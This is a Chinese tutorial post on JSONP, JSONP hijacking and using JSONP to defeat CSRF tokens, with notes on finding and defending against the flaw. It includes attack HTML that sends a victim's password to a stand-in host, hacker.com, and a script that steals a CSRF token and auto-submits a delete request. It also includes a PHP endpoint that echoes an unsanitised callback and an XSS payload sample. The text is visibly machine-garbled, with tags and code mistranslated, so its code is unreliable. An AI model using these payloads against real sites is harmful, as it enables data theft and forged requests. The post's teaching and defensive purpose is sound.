jsonP的原理是动态插入一个带有跨域url的脚本标签,然后调用一个回调函数,把我们需要的JSON数据作为参数传入,通过一些逻辑把数据显示在页面上。本文主要介绍jsonp的简要介绍及其安全风险的相关信息。有需要的朋友可以参考一下。
目录
JSONP介绍JSONP劫持利用JSONP绕过令牌保护进行csrf攻击JSONP劫持挖掘与防御参考摘要
JSONP介绍
说到跨域请求资源的方法,最常用的方法是JSONP/CORS。下面用一个具体的例子来介绍JSONP的工作原理。
JSP的全称是JSON with Padding,是基于JSON格式解决跨域资源请求的解决方案。
他实现的基本原理是利用了HTML里script元素标签没有跨域限制
JSP的原理是用跨域url动态插入脚本标签,然后调用回调函数,把我们需要的jsonP数据作为参数传入,通过一些逻辑把数据显示在页面上。
例如,通过脚本Jsonpcallback=callback访问http://www.test.com/index.html?脚本执行后会调用回调函数,参数是获取的数据。
原理很简单。在本地复制。首先,创建新的callback.php:
!callback.php
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
头( Content-type:application/JSON );
$ callback=$ _ GET[ callback ];
//json数据
$ JSON _ data= { customername 1 : user 1 , password : 12345678 } ;
//以jsonp格式输出数据
echo $回调。( .$json_data。);
?
然后创建一个新的test.html:
!test.html
超文本标记语言
头
标题测试/标题
meta charset=utf-8
脚本类型=文本/javascript
函数呵呵呵(obj){
alert(obj[ password ]);
}
/脚本
/头
身体
script type= text/JavaScript src= http://localhost/callback . PHP?回调=呵呵呵/脚本
/body
/html
当我们访问test.html时,页面将执行脚本并请求http://localhost/callback.php?Callback=呵呵呵,然后把请求的内容作为参数,执行呵呵呵函数,对请求的内容进行预警。最终结果如下
这样就通过js操作实现了跨域请求的资源,绕过了同源策略。
但是随着业务的发展,总会出现安全问题,JSONP使用不当也会造成很多安全问题。
JSONP劫持
对于JSONP传输数据,正常的业务是用户在域名B下请求域名A下的数据,然后进行进一步的操作。
然而,域名A的请求通常需要认证。黑客如何获取这些信息?我们可以自己构建一个页面,然后引诱用户点击。在这个页面中,我们请求域名A资源,然后回调函数将请求的资源发送回黑客服务器。
是的,JSONP劫持类似于CSRF漏洞,步骤大致如下图所示(来自参考文章1):
使用代码如下:
超文本标记语言
头
标题测试/标题
meta charset=utf-8
脚本类型=文本/javascript
函数呵呵呵(obj){
var my form=document . createelement( form );
my form . action= http://hacker . com/redirect . PHP ;
myForm.method= GET
for(对象中的变量k){
var my input=document . createelement( input );
myInput.setAttribute(name ,k);
myInput.setAttribute(value ,obj[k]);
my form . appendchild(my input);
}
document . body . appendchild(my form);
my form . submit();
document . body . remove child(my form);
}
/脚本
/头
身体
script type= text/JavaScript src= http://localhost/callback . PHP?回调=呵呵呵/脚本
/body
/html
用户被诱惑访问这个html,会以用户身份访问http://localhost/callback.php?回调=呵呵呵,获取敏感数据,然后执行呵呵呵函数将数据发送到http://hacker.com/redirect.php.数据包捕获可以拦截以下请求数据包:
GET /redirect.php?customername 1=user 1 password=12345678 HTTP/1.1
主持人:hacker.com
用户代理:Mozilla/5.0(Windows NT 10.0;WOW64rv:52.0)壁虎/20100101火狐/52.0
接受:text/html,application/xhtml xml,application/XML;q=0.9,*/*;q=0.8
接受-语言:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
接受编码:gzip,deflate
推荐人:http://10.133.136.120/test.html
DNT: 1
连接:关闭
升级-不安全-请求:1
黑客只需要在redirect.php保存数据,然后重定向到Baidu.com,这是一个完美的JSONP劫持。
利用JSONP绕过token防护进行csrf攻击
具体例子见参考文献2和3。
从上面的例子我们知道,JSONP可以获取敏感数据,在某些情况下,它还可以利用JSONP劫持绕过令牌限制来完成csrf攻击。
假设有这样一个场景:服务器对接收到的请求包进行判断,如果包含回调参数则返回JSONP格式的数据,否则返回正常页面。代码如下:test.php
!callback.php
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
头( Content-type:application/JSON );
//json数据
$ JSON _ data= { customername 1 : user 1 , password : 12345678 } ;
if(isset($ _ GET[ callback ]){
$ callback=$ _ GET[ callback ];
//如果包含回调参数,则以jsonp格式输出数据
echo $回调。( .$json_data。);
}否则{
echo $ json _ data
}
?
对于场景,如果存在JSONP劫持,我们可以获取页面中的内容,提取csrf_token,然后提交表单,造成csrf漏洞。示例代码如下(摘自参考文章2):
超文本标记语言
头
标题测试/标题
meta charset=utf-8
/头
身体
div id=test/div
脚本类型=文本/javascript
功能测试(对象){
//获取对象中的属性值
var content=obj[html]
//定期匹配参数值
var token=content.match(token=(。*?))[1];
//添加一个表单节点
var parent=document . getelementbyid( test );
var child=document . createelement( form );
child.method= POST
child . action= http://vuln . com/del . html ;
child.id=test1
parent . append child(child);
var parent _ 1=document . getelementbyid( test1 );
var child _ 1=document . createelement( input );
child _ 1.type= hiddenchild _ 1.name= tokenchild _ 1.value=token
var child _ 2=document . createelement( input );
child _ 2.type= submit
parent _ 1 . appendchild(child _ 1);
parent _ 1 . appendchild(child _ 2);
}
/脚本
script type= text/JavaScript src= http://vuln . com/Cao Zuo . html?htmlcallback=test/script
/body
/html
Htmlcallback返回一个对象obj,该对象作为参数传递给测试函数。对对象中名为html的属性值进行操作,并定期匹配标记。然后添加表单,表单自动提交完成操作。当用户点击攻击页面时,会收到csrf攻击。
JSONP劫持挖掘与防御
对于漏洞挖掘,首先需要尽可能找到所有接口,尤其是返回数据格式为JSONP的接口。(可以检索关键字回调json jsonp email等。在数据包中,或者可以添加回调参数来观察返回值是否变化)。
找到接口后,返回值需要包含敏感信息,可以被不同域的页面请求(即是否有refer限制。事实上,如果接口上有refer限制,它可能会被绕过,这将在以后的文章中讨论)。
对JSONP劫持的防御其实和csrf差不多。以下摘自参考文献4:
根据JSON格式标准限制源引用输出(设置内容类型:application/JSON;Charset=utf-8),防止http://127.0.0.1/getUsers.php?形式为callback=script alert(/Xss/)/script的xss过滤回调函数名和JSON数据输出,防止XSS。
参考
Jsonp劫持原理及挖掘方法JSONP绕过CSRF保护令牌,在新浪某社区分享了一个JSONP劫持引起的CSRF蠕虫的JSONP安全攻防技术。
总结
关于jsonp的简介及其安全隐患的这篇文章到此为止。有关jsonp安全风险的更多信息,请搜索我们以前的文章或继续浏览下面的相关文章。希望大家以后能多多支持我们!